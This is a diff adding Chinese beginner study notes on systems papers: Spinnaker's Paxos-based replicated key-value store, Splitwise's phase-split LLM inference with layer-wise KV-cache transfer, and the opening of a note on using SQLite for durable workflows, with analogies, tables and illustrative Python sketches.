+Spinnaker 是 LinkedIn 开源的一个分布式 KV 存储系统，核心贡献是证明：在数据中心内部用 Paxos 做数据复制，既不强求完美、也不退而求其次用"最终一致性"骗自己，而是真正做到了**强一致性 + 高可用 + 可扩展**三者兼顾。
+
+---
+
+## 日常类比：三个仓库的"账本"问题
+
+想象你经营一个连锁超市，有三个仓库分别放同一批货物（比如 100 箱可乐）。
+
+**传统做法（主从复制）：**
+
+只有一个"主仓库"负责记账。主仓库记账后，异步地把账本副本传给另外两个"从仓库"。
+
+问题来了：如果主仓库突然断电，从仓库的账本还没更新到最新一条。这时候你想查"还有多少可乐"，从仓库说的数字可能是错的。更糟的是，如果从仓库又坏了，**整个系统就没法写入了**。一个节点挂了，系统就瘫痪。
+
+**Paxos 的做法：**
+
+三个仓库的账本是**同步**的。每次记账（写入），必须至少有 2 个仓库同时确认收到，这账才算写成功。
+
+- 如果 1 个仓库挂了，剩下 2 个还能继续读写
+- 如果 2 个仓库同时挂了，剩下 1 个虽然不能写（达不到半数），但至少不会写错数据
+- 关键是：**永远不会出现一个仓库说"我写成功了"，另一个仓库却找不到这条记录的情况**
+
+这就是 Paxos 说的"共识"：只要多数派活着，大家就永远对"数据是什么"保持一致。
+
+---
+
+## 核心概念
+
+### 1. 范围分区（Range Partitioning）
+
+Spinnaker 不是用哈希把数据打散，而是用**范围的键值**来分区。
+
+比如 key 是 0~999 的数字：
+
+```
+[0, 199]    → 由节点 A, B, C 共同复制
+[200, 399]  → 由节点 B, C, D 共同复制
+[400, 599]  → 由节点 C, D, E 共同复制
+[600, 799]  → 由节点 D, E, A 共同复制
+[800, 899]  → 由节点 E, A, B 共同复制
+```
+
+每个范围对应 3 个节点，这 3 个节点叫一个 **cohort（小队）**。关键好处是：**相邻的范围共享节点**，范围迁移时开销很小。
+
+### 2. 三副本 + Paxos 复制
+
+每个 cohort 用 3 个节点做复制，Paxos 保证只要 2 个节点还活着，整个分区就仍然可用。
+
+```
+客户端写 W → 发给 leader → leader 强制写入 WAL → 
+leader 向 follower 发送 propose → 
+follower 强制写入 WAL → 发送 ack → 
+leader 收到 1 个 ack 后，将 W 加入 commit queue →
+leader 告诉客户端"写成功"
+```
+
+整个流程需要 **3 次 WAL 强制写入 + 4 条消息**。但大部分操作是重叠的，关键路径延迟只有 **1 次 WAL + 2 次消息延迟**。
+
+### 3. 两种一致性级别
+
+Spinnaker 提供两种读模式，像开关一样切换：
+
+- **强一致性读（Strong Reads）**：必须从 leader 读，保证读到的是最新值
+- **时间线一致性读（Timeline Reads）**：可以从 follower 读，但保证读到的是"在某个时间点之前已提交"的值，不会出现"先看到后来的值、又看到更早的值"这种违反时间线的情况
+
+### 4. Zookeeper 做协调（不出现在关键路径）
+
+Zookeeper 负责：
+
+- 节点故障检测
+- leader 选举
+- 元数据管理
+
+**关键设计决策**：Zookeeper 不出现在读写关键路径上。正常读写时，Spinnaker 节点和 Zookeeper 之间只有心跳消息。这意味着单个 Zookeeper 集群就能支撑数千个 Spinnaker 节点。
+
+### 5. 条件写入（Conditional Put）
+
+类似 `compare-and-swap`：
+
+```python
+# 只有当 key "user:1001:name" 的当前版本等于 5 时，才写入新版本 6
+conditional_put(key="user:1001:name", value="Alice", version=5, new_version=6)
+```
+
+cohort 的 leader 在执行前先检查当前版本是否匹配。匹配则写入，不匹配则返回错误。因为 cohort 内所有节点按 LSN 顺序执行写入，所以**条件判断在三个节点上结果一定一致**。
+
+### 6. Memtable + SSTable（借鉴 Bigtable）
+
+写完 WAL 后，数据放入内存中的 **memtable**，定期排序后刷到磁盘上的 **SSTable**（有序字符串表）。小 SSTable 会合并成大 SSTable，同时清理已删除的数据。
+
+---
+
+## 为什么 Paxos 以前没人用在数据库复制上？
+
+两个原因：
+
+1. **被认为太复杂**——手写 Paxos 很容易出错（Chubby、Zookeeper 内部都是 Paxos，但都是 Google 内部团队写的）
+2. **被认为太慢**——Paxos 需要多轮消息交互，延迟高于异步主从复制
+
+Spinnaker 用两个技巧化解了这两点：
+
+- 用 **Zookeeper 处理 leader 选举和群组管理**，Replication Protocol 本身简化了很多
+- 在**数据中心内部**（网络分区几乎不存在），Paxos 的延迟完全可以接受
+
+实验结果也证明了这一点：Spinnaker 的读延迟比 Cassandra（最终一致性系统）快，写延迟只慢 5%~10%。
+
+---
+
+## 代码示例
+
+### 示例 1：Spinnaker 的读写 API
+
+```python
+# 写入 - 强一致性
+# Spinnaker 提供的 API 非常简单：
+# put(key, value, columns={...}) → 成功或异常
+put(key="user:1001", columns={
+    "name": "Alice",
+    "age": 30,
+    "email": "alice@example.com"
+})
+# 调用返回时，至少 2/3 的副本已持久化到磁盘
+
+# 读取 - 可选择的两种模式
+# 强一致性读（从 leader 读取，保证最新版本）
+user = get(key="user:1001", consistency=STRONG)
+
+# 时间线一致性读（从 follower 读取，性能更好，仍然保证不"穿越"）
+user = get(key="user:1001", consistency=TIMELINE)
+
+# 条件写入 - compare-and-swap
+put_conditional(key="user:1001", columns={"age": 31},
+                condition=ColumnVersion("age", expected_version=5))
+# 返回 True 表示写入成功，False 表示版本不匹配
+```
+
+### 示例 2：Paxos 复制协议的伪代码
+
+```python
+class CohortLeader:
+    """cohort 的 leader 节点，负责协调复制"""
+
+    def handle_write(self, key, value):
+        # 1. 分配 LSN（日志序列号）
+        lsn = self.next_lsn
+        self.next_lsn += 1
+
+        # 2. 强制写入本地 WAL（Write-Ahead Log）
+        self.write_awal_log(lsn, (key, value))
+        self.force_log_to_disk()
+
+        # 3. 将写操作加入 commit queue（等待 follower 确认）
+        self.commit_queue.add(lsn, (key, value))
+
+        # 4. 向所有 follower 发送 propose 消息
+        for follower in self.followers:
+            follower.send_propose(lsn, key, value)
+
+    def on_follower_ack(self, lsn, follower_id):
+        # 5. 收到至少 1 个 follower 的 ack
+        if self.commit_queue.has_quorum(lsn):
+            # 6. 提交：从 memtable 中可见
+            self.commit_queue.commit(lsn)
+            # 7. 通知客户端写入成功
+            self.client_callback.success()
+
+    def on_follower_propose(self, lsn, key, value):
+        # follower 端：收到 leader 的 propose
+        self.write_awal_log(lsn, (key, value))
+        self.force_log_to_disk()
+        self.send_ack_to_leader(lsn)
+
+
+class CohortFollower:
+    """cohort 的 follower 节点"""
+
+    def send_ack_to_leader(self, lsn):
+        self.leader.send_ack(lsn, self.node_id)
+
+    def catch_up(self, leader, my_last_committed_lsn):
+        """故障恢复后追赶 leader"""
+        # 告诉 leader 自己最慢提交到哪条日志
+        committed_writes = leader.send_after_lsn(my_last_committed_lsn)
+        for lsn, key, value in committed_writes:
+            self.write_awal_log(lsn, (key, value))
+```
+
+---
+
+## 故障恢复
+
+### Follower 恢复（两步走）
+
+1. **本地恢复（Local Recovery）**：从最近的 checkpoint 重放 WAL 到 `f.cmt`（最后提交的 LSN），安全恢复 memtable
+2. **追赶（Catch Up）**：告诉 leader 自己的 `f.cmt`，leader 把之后的已提交写操作全部发给 follower
+
+如果 WAL 已经被 roll 掉了（写入 SSTable 后），leader 会从 SSTable 中查找对应 LSN 范围的数据发给 follower。
+
+### Leader 故障转移
+
+当 leader 挂掉时，通过 Zookeeper 的 ephemeral znode 机制触发 leader 选举：
+
+1. 各节点在 Zookeeper 上创建带序号的 ephemeral znode，携带自己的 `last_lsn`
+2. Zookeeper 通知所有节点 `/candidates` 变化
+3. 当 2/3 节点出现在 candidates 下时，每个节点检查：
+   - 自己的 `last_lsn` 是否是最大的
+   - 如果是，自认为 leader，并等待确认
+4. 新的 leader 检查是否有未提交的写操作，如果有则重新提议并复制，确保不丢失
+
+---
+
+## 性能对比（vs Cassandra）
+
+| 操作 | Spinnaker | Cassandra (Quorum) | 差距 |
+|------|-----------|-------------------|------|
+| 强一致性读 | 快于 Cassandra | Quorum 读 | Spinnaker 更快 |
+| 时间线读 | 接近 Cassandra Weak Read | Weak Read（只读 1 个副本） | 几乎相同 |
+| 写 | 5%~10% 慢 | Quorum 写 | 仅 5%~10% 差距 |
+
+**核心结论**：强一致性的额外开销很小，在数据中心内几乎可以忽略。
+
+写延迟偏高的主要原因是 Spinnaker 复用了 Cassandra 的日志管理器（日志管理较原始，磁盘 seek 多）。如果日志放在 SSD 上，写入延迟可降到 6ms 以下。
+
+---
+
+## 局限性
+
+1. **写入集中在 leader**：所有写操作必须路由到 cohort leader，可能成为热点
+2. **多操作事务未实现**：当前每个 API 调用是单操作事务。多操作事务需要扩展复制协议
+3. **跨数据中心不支持**：设计目标是单数据中心，跨数据中心延迟太高
+4. **leader 宕机时的短暂不可用**：虽然 leader 选举很快，但在选举期间该分区不可写
+
+---
+
+## 学习收获
+
+1. **Paxos 不是"理论玩具"**——Spinnaker 用实验数据证明，在数据中心内用 Paxos 做数据库复制，性能差距可以控制在 5%~10% 以内
+2. **Zookeeper 是 Paxos 的"脚手架"**——手写 Paxos 容易出错，但用 Zookeeper 处理 leader 选举和群组管理后，Replication Protocol 本身大大简化
+3. **一致性不是非黑即白**——Spinnaker 同时提供强一致性和时间线一致性，让应用按需选择，这是一个很实用的设计思路
+4. **工程取舍的重要性**——Spinnaker 从 Cassandra 代码派生而来，共享数据模型和 3 副本机制，这让实验对比更公平
+
+---
+
+*本文是论文的零基础学习笔记，不是论文摘要。目标是让完全没有分布式系统基础的人也能理解 Spinnaker 的核心思想。*
diff --git a/src/content/docs/papers/splitwise-2023.md b/src/content/docs/papers/splitwise-2023.md
new file mode 100644
index 000000000..304f24d01
--- /dev/null
+++ b/src/content/docs/papers/splitwise-2023.md
@@ -0,0 +1,355 @@
+---
+title: Splitwise — 用阶段拆分让 LLM 推理更省算力、更省钱
+来源: https://arxiv.org/abs/2311.18677
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：火锅店的「备料台」与「涮肉桌」
+
+想象一家连锁火锅店（GPU 集群）同时接待两类客人：
+
+1. **Prompt 阶段（备料）**：客人一次端来一大盆生肉和蔬菜（prompt 可能有上千 token）。后厨要把**整盆食材同时下锅焯水、切配**（并行处理全部输入 token），做出**第一盘蘸料**（第一个输出 token），并把每片肉的「熟度记录卡」写进档案（**KV cache**）。这一步像**大火爆炒**——灶台火力要猛、厨师手要快。
+2. **Token 生成阶段（涮肉）**：之后客人每要**一片肉**（每步只生成 1 个 token），厨师只需翻档案、加一小片新肉下锅。火力不大，但要**不停翻账本、搬盘子**——吃显存带宽和容量。客人关心的是「每片肉之间等多久」（**TBT，Time-Between-Tokens**）。
+
+**传统做法**把备料和涮肉**挤在同一口锅、同一批灶台**里：
+
+- 大盆备料没做完，旁边等一片肉的人全得干等。
+- 为了照顾涮肉的人，大盆备料也不能全力炒。
+- 更糟的是：备料需要**最新款猛火灶**（H100 的高算力），但涮肉其实**旧灶就够**——却一直占着贵灶，算力闲着、电费照付。
+
+**Splitwise 的做法**像把店拆成两个区域：
+
+- **一楼专门备料**（Prompt 机器池），配猛火灶、按 prompt 长度排班。
+- **二楼专门涮肉**（Token 机器池），可以用**更便宜、更省电的旧灶**（例如 A100 甚至降功耗运行）。
+- 备料完成后用**传送带**把档案（KV cache）送到二楼——在现代数据中心 **InfiniBand** 背板上，这笔搬运费往往**比互相挡锅便宜得多**。
+
+一句话：**不是让单张 GPU 每秒吐更多 token，而是承认推理天然分两阶段，让「该猛火的猛火、该省钱的省钱」——Splitwise 用阶段拆分把这件事做成可量化的集群设计问题。**
+
+---
+
+## 是什么
+
+**Splitwise: Efficient Generative LLM Inference Using Phase Splitting**（Patel 等，**ISCA 2024**，arXiv:[2311.18677](https://arxiv.org/abs/2311.18677)）是微软研究院与华盛顿大学的工作。论文提出：
+
+1. 系统性地**刻画** LLM 推理中 **Prompt 计算**与 **Token 生成**两阶段在延迟、吞吐、显存、功耗上的差异。
+2. 把两阶段拆到**不同机器**上，各自用更合适的硬件与调度策略。
+3. 用**分层 KV cache 异步传输**（基于 MSCCL++ / InfiniBand）把跨机开销压到用户几乎感知不到。
+4. 探索**同构与异构集群**（如 H100 做 prompt、A100 做 token），在吞吐、成本、功耗之间做权衡。
+
+| 项目 | 内容 |
+|------|------|
+| 会议 | ISCA 2024 |
+| 机构 | University of Washington、Microsoft Research |
+| 实现基础 | 在 **vLLM** 上实现 KV 传输；开源实现见论文脚注 [1] |
+| 生产 trace | Azure LLM 推理服务（编码 / 对话两类负载） |
+| 评测模型 | BLOOM-176B、Llama2-70B |
+| 效果 | 同等成本功耗下吞吐最高 **2.35×**；或 **1.4×** 吞吐且成本降 **20%** |
+
+---
+
+## 为什么重要
+
+不理解 Splitwise，下面几件事很难讲清楚：
+
+- 为什么 2024 年起业界大量出现 **Prefill/Decode 分离**（DistServe、Mooncake、SGLang disagg、vLLM PD 等）——Splitwise 是这条线的**早期系统论文之一**（比 DistServe 早几个月公开）。
+- 为什么 **H100 算力涨 3.4×，显存带宽只涨 1.6×** 会让「一锅炖」部署越来越亏——prompt 吃算力，decode 吃带宽，**绑在同一 SKU 上会 over-provision**。
+- 为什么 decode 阶段可以**降功耗、用旧 GPU** 而 prompt 不行——论文用实测证明 token 阶段对 **50% 功耗封顶几乎无感**，prompt 阶段则非常敏感。
+- 为什么 PD 分离的关键不是「能不能传 KV」，而是**传的时候别挡计算**——Splitwise 的 **逐层异步传输**是具体工程答案。
+
+---
+
+## 核心概念
+
+### 1. 两阶段推理
+
+```text
+用户 prompt (n tokens)
+  → [Prompt 阶段]  并行处理全部 prompt token → 第 1 个 output token + 写入 KV cache
+  → [Token 阶段]   循环：每步 1 token，读全量 KV + 权重 → 直到 EOS
+
+端到端延迟 ≈ TTFT + TBT × (输出 token 数 - 1)
+```
+
+| 阶段 | 计算特征 | 典型瓶颈 | 论文关注的指标 |
+|------|----------|----------|----------------|
+| **Prompt** | 一次处理很多 token，大 GEMM | **Compute-bound** | **TTFT**（Time-To-First-Token） |
+| **Token** | 每步 1 token，读全量权重+KV | **Memory-bandwidth / capacity-bound** | **TBT**（Time-Between-Tokens） |
+
+论文 **Insight III**：对大多数请求，**端到端时间的大头在 token 阶段**——即便 coding 场景 prompt 很长、输出很短，176B 模型上「1500 token prompt」与「6 个 output token」耗时相当。
+
+### 2. 论文七条 characterization insights（浓缩版）
+
+| # | 洞察 | 对设计的含义 |
+|---|------|--------------|
+| I | 不同服务（编码 vs 对话）prompt/输出长度分布差很大 | 机器池比例要按 workload 调 |
+| II | Mixed batching 下，**60–70% 时间 batch 里只有 ≤20 个活跃 token** | Token 阶段 GPU 长期吃不饱 |
+| III | E2E 时间主要在 token 阶段 | 优化 token 池利用率收益大 |
+| IV | Prompt batch 超过 ~2048 token 后吞吐反而降；Token batch 可涨到显存上限 | 两阶段 batch 策略应**分开设** |
+| V | Prompt 吃算力；Token 吃显存容量 | 硬件选型应不同 |
+| VI | Prompt 吃满功耗；Token 加 batch 功耗几乎不变 | Token 机可降功耗封顶 |
+| VII | A100 跑 token 的 Perf/$、Perf/W 常优于 H100 | **异构集群**（H prompt + A token）合理 |
+
+### 3. Splitwise 系统架构
+
+```text
+                    ┌─────────────────┐
+  新请求 ──────────►│ Cluster Scheduler│ (CLS)
+                    │  JSQ 选 prompt+token 机对 │
+                    └────────┬────────┘
+           ┌─────────────────┼─────────────────┐
+           ▼                 ▼                 ▼
+    [Prompt 池]        [Token 池]        [Mixed 池]
+    FCFS, prompt       FCFS, 尽量        高负载时
+    batch ≤2048 tok    塞满 batch        回退 mixed batching
+           │                 ▲
+           │  KV cache       │
+           └────逐层异步传输──┘
+```
+
+三层机器池：
+
+- **Prompt 池**：只跑 prompt；MLS 限制多 prompt 拼 batch 总量 ≤2048 token（可配置）。
+- **Token 池**：只跑 decode；尽量 batch 到显存快满。
+- **Mixed 池**：负载尖峰时，把 prompt 机或 token 机临时切到 mixed 模式，行为等同传统 colocated 系统，**消除池间碎片**。
+
+调度：**CLS** 用 Join-the-Shortest-Queue（按 pending token 数）同时为每个请求分配 prompt 机 + token 机；**MLS** 管本机 batch 与显存。
+
+### 4. KV cache 跨机传输（论文核心工程）
+
+朴素做法：prompt 算完 → 串行传完整 KV → 再开始 token → **第二个 token 延迟暴涨**。
+
+Splitwise 优化：
+
+- **逐层异步传输**：prompt 机算完第 L 层就立刻 `put` 该层 KV，同时继续算 L+1 层。
+- **小 prompt（<512 on H100）**用串行传输即可（KV 小，不值得复杂化）。
+- 实现用 **MSCCL++** one-sided `put` + 信号量同步；按 vLLM **block** 粒度发送，合并连续 block 减少次数。
+- 实测：相对 prompt 计算时间，传输开销 **<7%**；优化后 E2E 影响约 **0.8%**（大 prompt 串行可达 3%）。
+
+### 5. 四种 Splitwise 集群变体
+
+命名：**第一个字母 = Prompt 机，第二个 = Token 机**（A=A100 DGX，H=H100，Hcap=H100 降功耗）
+
+| 设计 | Prompt 机 | Token 机 | 典型场景 |
+|------|-----------|----------|----------|
+| **Splitwise-AA** | A100 | A100 | 同构、旧 GPU 好买 |
+| **Splitwise-HH** | H100 | H100 | 同构旗舰 |
+| **Splitwise-HA** | H100 | A100 | 低 TTFT + 高性价比 token |
+| **Splitwise-HHcap** | H100 | H100（token 机功耗封顶 ~70%） | CSP 省机房功率 |
+
+论文用**事件驱动模拟器**搜索 prompt:token 机器数量（例如 coding 负载下 Splitwise-HH 约 **27P + 3T** 达到 iso-throughput 成本最优）。
+
+### 6. 与 DistServe、Orca、vLLM 的关系
+
+| 工作 | 侧重点 |
+|------|--------|
+| **Orca / vLLM** | Continuous / mixed batching，**同机**跑两阶段 |
+| **Splitwise (ISCA'24)** | 阶段拆分 + **异构硬件** + 成本/功耗集群设计 |
+| **DistServe (OSDI'24)** | PD 分离 + **Goodput**（TTFT/TPOT SLO 下 per-GPU 请求率）+ 分阶段并行策略优化 |
+
+三者互补：Splitwise 更像「**数据中心采购与容量规划**」视角；DistServe 更像「**在线 SLO 与并行配置**」视角。工业界后来常把 PD 分离、KV 传输、异构池合成一套 serving 栈。
+
+---
+
+## 代码示例
+
+### 示例 1：用 Python 理解两阶段资源画像
+
+下面用简化数字复现论文 **Table IV / Insight VII** 的直觉：H100 对 TTFT 帮助大，但对 TBT 提升有限；A100 跑 token 更划算。
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class GpuProfile:
+    name: str
+    ttft_ms: float      # 同 workload 下 prompt 延迟
+    tbt_ms: float       # 单步 decode 延迟
+    cost_per_hr: float
+    power_w: float
+
+A100 = GpuProfile("A100", ttft_ms=185, tbt_ms=52, cost_per_hr=0.42, power_w=400)
+H100 = GpuProfile("H100", ttft_ms=95,  tbt_ms=31, cost_per_hr=0.52, power_w=700)
+
+def e2e_ms(gpu: GpuProfile, prompt_tokens: int, output_tokens: int) -> float:
+    """极简模型：TTFT 随 prompt 线性涨，decode 随输出 token 数线性涨"""
+    ttft = gpu.ttft_ms * (prompt_tokens / 1024)
+    decode = gpu.tbt_ms * max(output_tokens - 1, 0)
+    return ttft + decode
+
+# 对话 trace 量级：prompt≈1020, output≈129（论文 Figure 3）
+prompt, out = 1020, 129
+for g in (A100, H100):
+    lat = e2e_ms(g, prompt, out)
+    print(f"{g.name}: E2E≈{lat:.0f}ms, cost≈${g.cost_per_hr * lat / 3_600_000:.4f}/req")
+
+# Splitwise-HA：prompt 用 H100，token 用 A100（各 1 张 GPU 教学示意）
+ttft = e2e_ms(H100, prompt, 1)   # 只有 prompt 阶段
+tbt_part = A100.tbt_ms * (out - 1)
+splitwise_ha = ttft + tbt_part
+print(f"Splitwise-HA (示意): E2E≈{splitwise_ha:.0f}ms")
+print(f"vs 单机 H100:        E2E≈{e2e_ms(H100, prompt, out):.0f}ms")
+```
+
+要点：**不必两张 H100 伺候一整条请求**——prompt 机用 H100 压 TTFT，token 机用 A100 省成本，端到端仍可接受。
+
+### 示例 2：逐层 KV 传输 vs 串行传输（Gantt 直觉）
+
+```python
+def transfer_latency_ms(kv_size_gb: float, bandwidth_gbps: float) -> float:
+    """KV 传输时间 ≈ 数据量 / 带宽（忽略协议开销）"""
+    return kv_size_gb * 8 * 1000 / bandwidth_gbps
+
+def prompt_compute_ms(prompt_tokens: int, layers: int = 80) -> float:
+    """教学用：prompt 计算随 token 数近线性"""
+    return 0.08 * prompt_tokens  # 例如 1024 token → ~82ms
+
+def simulate_kv_handoff(prompt_tokens: int, layers: int = 80,
+                        bandwidth_gbps: float = 400):
+    kv_gb = prompt_tokens * layers * 2e-6  # 虚构：每层每 token 2KB 量级
+    compute = prompt_compute_ms(prompt_tokens, layers)
+    serial_xfer = transfer_latency_ms(kv_gb, bandwidth_gbps)
+
+    # 串行：prompt 全算完再传 → 第二个 token 要等完整 transfer
+    serial_second_token_penalty = serial_xfer
+
+    # 逐层：传输与后续层计算重叠，只剩「传不完的尾巴」
+  # 论文 H100 上非重叠尾巴约 5ms 量级
+    layer_compute = compute / layers
+    layer_xfer = serial_xfer / layers
+    overlap_tail = max(0.0, layer_xfer - layer_compute) * layers
+    optimized_penalty = min(overlap_tail, 8.0)  # 论文 A100 ~8ms, H100 ~5ms
+
+    print(f"prompt_tokens={prompt_tokens}")
+    print(f"  串行 KV 惩罚（第二 token）: {serial_second_token_penalty:.1f} ms")
+    print(f"  逐层重叠后惩罚:           {optimized_penalty:.1f} ms")
+    print(f"  占 E2E 比例（串行）:        {100*serial_second_token_penalty/compute:.1f}%")
+    print(f"  占 E2E 比例（Splitwise）:   {100*optimized_penalty/compute:.1f}%")
+
+simulate_kv_handoff(1024)
+simulate_kv_handoff(4096)
+```
+
+长 prompt 时串行传输可占 E2E **数个百分点**；逐层重叠把可见惩罚压到 **1% 以内**——这是 Splitwise 敢拆机的工程底气。
+
+### 示例 3：概念性 Splitwise 调度骨架
+
+```python
+from collections import deque
+from enum import Enum, auto
+
+class Pool(Enum):
+    PROMPT = auto()
+    TOKEN = auto()
+    MIXED = auto()
+
+class SplitwiseScheduler:
+    """教学骨架：CLS 为每个请求同时绑定 prompt+token 机"""
+
+    def __init__(self, prompt_machines, token_machines):
+        self.prompt_machines = prompt_machines
+        self.token_machines = token_machines
+        self.waiting = deque()
+
+    def _jsq_pair(self):
+        """Join Shortest Queue：按 pending token 数选最空的一对"""
+        p = min(self.prompt_machines, key=lambda m: m.pending_tokens)
+        t = min(self.token_machines, key=lambda m: m.pending_tokens)
+        return p, t
+
+    def submit(self, req_id: str, prompt_len: int, max_output: int):
+        p_machine, t_machine = self._jsq_pair()
+        self.waiting.append((req_id, prompt_len, max_output, p_machine, t_machine))
+
+    def run_prompt_phase(self, req_id, tokens, p_machine, t_machine):
+        # prompt 机：FCFS，batch 总 prompt token ≤ 2048
+        first_token, kv_handle = p_machine.forward_prompt(tokens)
+        # 逐层异步 KV put（与后续层计算重叠）
+        p_machine.async_transfer_kv(kv_handle, dst=t_machine)
+        t_machine.enqueue_decode(req_id, kv_handle, first_token)
+
+    def on_high_load(self, machine):
+        """队列超阈值 → 机器进 mixed 池，允许 prompt+token 混批（等同 baseline）"""
+        machine.pool = Pool.MIXED
+```
+
+与 DistServe 骨架的差异：Splitwise 更强调**机器池角色**（prompt/token/mixed）、**异构 SKU** 和 **KV 传输重叠**；DistServe 更强调 **Goodput 优化与分阶段并行策略搜索**。
+
+---
+
+## 批处理机制对比（论文 Figure 2）
+
+| 机制 | 行为 | 问题 |
+|------|------|------|
+| **Request-level batching** | 整批请求跑完才接新单 | TTFT 极差 |
+| **Continuous batching** | 每步重调度；**同一 batch 只含 prompt 或只含 token** | Prompt 可抢占 token → **TBT 尾延迟高** |
+| **Mixed batching** | 每步重调度；prompt 与 token **可同批** | TBT 仍被长 prompt 拖慢 |
+
+Splitwise 在专属 prompt/token 池里**物理隔离**两阶段 batch；尖峰时 mixed 池兜底——兼顾效率与 SLO。
+
+---
+
+## 评测结论速览
+
+### 同功耗（iso-power）吞吐优化
+
+- **Splitwise-AA**：相对 Baseline-A100，对话负载约 **2.15×** 吞吐（同功耗同成本）。
+- **Splitwise-HA**：约 **1.18×** 吞吐，成本再降 **10%**。
+- **Splitwise-HHcap**：CSP 视角下，同吞吐可省约 **25%** 功耗。
+
+### 同成本 / 同吞吐
+
+- **1.4×** 吞吐且成本降 **20%**（iso-throughput cost-opt，相对 Baseline-H100）。
+- 或 **2.35×** 吞吐且**成本与功耗不变**。
+
+### 鲁棒性
+
+- 用为 coding 设计的集群跑 conversation trace：异构设计最多 **7%** 吞吐回落，仍远好于 baseline。
+- 换模型（BLOOM → Llama2-70B）后 Splitwise 设计仍优于 baseline。
+
+---
+
+## 局限与后续方向（论文 Discussion）
+
+- **CLS 可扩展性**：超大集群下单点调度器可能成为瓶颈（与 Splitwise 正交，可借鉴分区调度）。
+- **故障恢复**：prompt/token 机宕机目前类似 vLLM **从头重跑**；可 checkpoint KV 到内存库（论文留作 future work）。
+- **多轮对话**：若服务端缓存上下文，prompt 阶段内存模式会变，可能需要在轮次间**来回传 KV**。
+- **互联假设**：默认 prompt/token 机之间有 **InfiniBand**；跨 SKU（H+A）在部分云厂商尚未商品化。
+- **KV 压缩**：带宽再紧时可先压缩再传（与逐层传输正交）。
+
+---
+
+## 初学者 FAQ
+
+**Q：Splitwise 改模型数学吗？**  
+A：不改。KV **无损**传输，精度与单机推理一致。
+
+**Q：和 speculative decoding、PagedAttention 冲突吗？**  
+A：不冲突。实现在 **vLLM** 之上；PagedAttention 管 KV 怎么存，Splitwise 管**哪台机器算哪一阶段**。
+
+**Q：我家只有同型号 GPU，Splitwise 还有用吗？**  
+A：有。**Splitwise-AA** 等同构拆分仍能减少 mixed batching 干扰、提高 token 池 batch 利用率；异构是「额外加成」。
+
+**Q：和 DistServe 该读哪个？**  
+A：先读 Splitwise 建立「两阶段画像 + 异构集群 + KV 传输」直觉，再读 DistServe 补「**SLO 驱动的 Goodput 与并行配置**」。
+
+---
+
+## 延伸阅读
+
+| 主题 | 链接 |
+|------|------|
+| 论文 | [arXiv:2311.18677](https://arxiv.org/abs/2311.18677) |
+| Microsoft Research 页面 | [Splitwise publication](https://www.microsoft.com/en-us/research/publication/splitwise-efficient-generative-llm-inference-using-phase-splitting/) |
+| Azure 生产 trace 子集 | [AzurePublicDataset](https://github.com/Azure/AzurePublicDataset) |
+| 实现基础 vLLM | [vllm-project/vllm](https://github.com/vllm-project/vllm) |
+| 同路线 DistServe | 本库 [`distserve-2024.md`](./distserve-2024.md) |
+| KV 内存管理 | 本库 [`paged-attention-vllm.md`](./paged-attention-vllm.md) |
+
+---
+
+## 一句话总结
+
+**LLM 推理不是一条匀速流水线，而是「先并行啃 prompt、再串行吐 token」两幕戏；Splitwise 把两幕戏分到不同舞台和不同演员（GPU）上，用逐层 KV 传送衔接剧情，在几乎不牺牲延迟的前提下，让集群吞吐更高、账单更轻、机房更省电。**
diff --git a/src/content/docs/papers/sqlite-durable-workflows.md b/src/content/docs/papers/sqlite-durable-workflows.md
new file mode 100644
index 000000000..c5df1d5b2
--- /dev/null
+++ b/src/content/docs/papers/sqlite-durable-workflows.md
@@ -0,0 +1,445 @@
+---
+title: SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流
+来源: 'Obelisk Blog, "SQLite is All You Need for Durable Workflows", https://obeli.sk/blog/sqlite-is-all-you-need-for-durable-workflows/, 2026-05-29（延伸 DBOS「Postgres is all you need for durable execution」论点）'
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快递单 + 可替换的快递员
+
+想象你在经营一个**多步骤代办业务**：帮客户订机票、填表、发邮件、最后归档。每一步都可能失败——网站超时、表单填错、邮件服务器宕机。
+
+传统做法像雇一个**专职调度中心**（Temporal、Cadence、Restate 这类 orchestrator）：单独租办公室、配专线电话、养一支调度员团队，专门记录「客户 A 做到第几步了」。可靠，但**基础设施本身就很重**。
+
+DBOS 在 2026 年提出另一条路：**Postgres is all you need**——如果你已经信任数据库的事务与持久化，就不必再叠一层专用编排集群；工作流状态直接写进 Postgres，计算节点可以是廉价的、可随时销毁的。
+
+Obelisk 的博客文章把这条思路**再推进一步**：
+
+> 对很大一类持久化系统来说，**SQLite 就够了**。
+
+类比升级成：**快递单（workflow state）必须留在档案柜里，但送快递的人（compute）可以随时换人**。
+
+- 档案柜 = 本地 SQLite 文件，ACID 写入，进程挂了文件还在。
+- 快递员 = Worker 容器 / 微 VM，挂了换一台，从档案柜读出进度继续干。
+- 档案柜每晚复印一份到云存储 = **Litestream** 异步备份到 S3。
+- 每个 AI Agent 单独一个小档案柜 = **故障隔离**，A 搞砸了不影响 B。
+
+核心洞察：**需要持久的是工作流状态，不是编排基础设施本身**。计算可以便宜、可丢弃；状态必须事务性、可回放、可检查。
+
+---
+
+## 是什么
+
+**Durable workflow（持久化工作流）** 指：长生命周期、多步骤、可能跨进程/跨机器的任务编排；某一步失败后能从**已保存的状态**恢复，而不是从头重来。
+
+典型能力包括：
+
+| 能力 | 含义 |
+|------|------|
+| Execution log | 记录每一步输入/输出/时间戳 |
+| Replay | 从日志重建工作流，用于恢复或调试 |
+| Activity retry | 单步失败自动重试，不污染已完成步骤 |
+| Checkpoint | 在昂贵步骤之间保存进度 |
+
+文章主张：对 **AI Agent、实验性流水线、单租户 burst 任务**，用 **SQLite + Litestream + 廉价 Worker** 就能构成足够 durable 的系统，**不必**第一天就上 Postgres 集群或 Temporal。
+
+Obelisk 是实践这一思路的开源工作流引擎（SQLite 默认，Postgres 可选）。Cloudflare Workflows V2 也在生产环境用 SQLite 存储 per-instance 状态，并发实例从约 4,500 扩到 50,000——说明「SQLite 不 scale」需要分场景讨论。
+
+---
+
+## 为什么重要
+
+### 1. 降低「 durable execution 必须很重」的默认假设
+
+很多人听到 durable workflow 就想到：
+
+- 独立的 history service
+- Cassandra / 专用事件存储
+- 常驻 orchestrator 集群 + 复杂运维
+
